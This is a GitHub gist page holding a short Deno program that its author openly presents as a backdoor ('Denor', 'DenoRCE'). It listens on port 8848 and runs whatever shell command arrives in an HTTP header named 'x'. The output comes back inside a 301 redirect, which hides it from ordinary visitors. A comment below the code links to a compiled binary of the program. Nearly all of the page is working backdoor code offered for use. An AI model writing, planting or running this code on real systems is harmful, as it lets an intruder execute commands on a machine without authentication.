Skip to content

Instantly share code, notes, and snippets.

@c4p-n1ck
Created January 22, 2022 13:12
Show Gist options
  • Save c4p-n1ck/fec462bab3d5ce394466b57a0da84bb4 to your computer and use it in GitHub Desktop.
Save c4p-n1ck/fec462bab3d5ce394466b57a0da84bb4 to your computer and use it in GitHub Desktop.
A simple HTTP RCE code in deno.
// Denor -> Deno Door, refereing to a deno backdoor or just DenoRCE :wink:
const server = Deno.listen({ port: 8848 });
var header = new Headers();
header.append("Location", "/");
for await (const conn of server) {
serveHttp(conn);
}
async function serveHttp(conn: Deno.Conn) {
const httpConn = Deno.serveHttp(conn);
var body = "";
for await (const requestEvent of httpConn) {
let cmd = requestEvent.request.headers.get("x") ?? "id";
try {
const proc = Deno.run({ cmd: cmd.split(" "), stdout: "piped", stderr: "piped" });
const { code } = await proc.status();
const stdout = await proc.output()
const stderr = await proc.stderrOutput()
if (code === 0) {
body = new TextDecoder().decode(stdout);
} else { body = new TextDecoder().decode(stderr); }
} catch (err) {
body = `Error executing (${cmd}): ${err}\n`;
}
// 301 HTTP Response to "/" path, just to have some fun with the clients!
requestEvent.respondWith(
new Response(body, {
status: 301,
headers: header
}),
);
}
}
@c4p-n1ck
Copy link
Author

Compiled binary: https://gofile.io/d/Y7Zd00

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment